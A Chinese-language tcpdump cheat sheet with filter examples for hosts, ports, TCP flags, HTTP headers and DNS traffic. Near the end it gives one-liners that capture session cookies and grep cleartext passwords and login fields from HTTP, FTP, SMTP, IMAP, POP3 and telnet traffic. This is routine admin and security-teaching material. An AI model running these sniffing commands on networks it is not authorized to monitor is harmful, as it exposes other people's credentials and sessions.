可以將指定的流量排除,如這顯示所有到192.168.0.2的 非ICMP的流量。

tcpdump dst 192.168.0.2 and src net and not icmp

來自非指定端口的流量,如,顯示來自不是SSH流量的主機的所有流量。

tcpdump -vv src mars and not dst port 22

選項分組

在構建複雜查詢時,必須使用單引號 '。單引號用於忽略特殊符號 () ,以便於使用其他表達式(如host、port、net等)進行分組。

tcpdump 'src 10.0.2.4 and (dst port 3389 or 22)'

過濾TCP標記位

TCP RST

The filters below find these various packets because tcp[13] looks at offset 13 in the TCP header, the number represents the location within the byte, and the !=0 means that the flag in question is set to 1, i.e. it』s on.

tcpdump 'tcp[13] & 4!=0'
tcpdump 'tcp[tcpflags] == tcp-rst'

TCP SYN

tcpdump 'tcp[13] & 2!=0'
tcpdump 'tcp[tcpflags] == tcp-syn'

同時忽略SYN和ACK標誌的數據包

tcpdump 'tcp[13]=18'

TCP URG

tcpdump 'tcp[13] & 32!=0'
tcpdump 'tcp[tcpflags] == tcp-urg'

TCP ACK

tcpdump 'tcp[13] & 16!=0'
tcpdump 'tcp[tcpflags] == tcp-ack'

TCP PSH

tcpdump 'tcp[13] & 8!=0'
tcpdump 'tcp[tcpflags] == tcp-push'

TCP FIN

tcpdump 'tcp[13] & 1!=0'
tcpdump 'tcp[tcpflags] == tcp-fin'

查找http包

查找 user-agent 信息

tcpdump -vvAls0 | grep 'User-Agent:'

查找只是 GET 請求的流量

tcpdump -vvAls0 | grep 'GET'

查找http客戶端IP

tcpdump -vvAls0 | grep 'Host:'

查詢客戶端cookie

tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'

查找DNS流量

tcpdump -vvAs0 port 53

查找對應流量的明文密碼

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '

Reference://danielmiessler.com/study/tcpdump/#basic-communication

ethtool

Tags: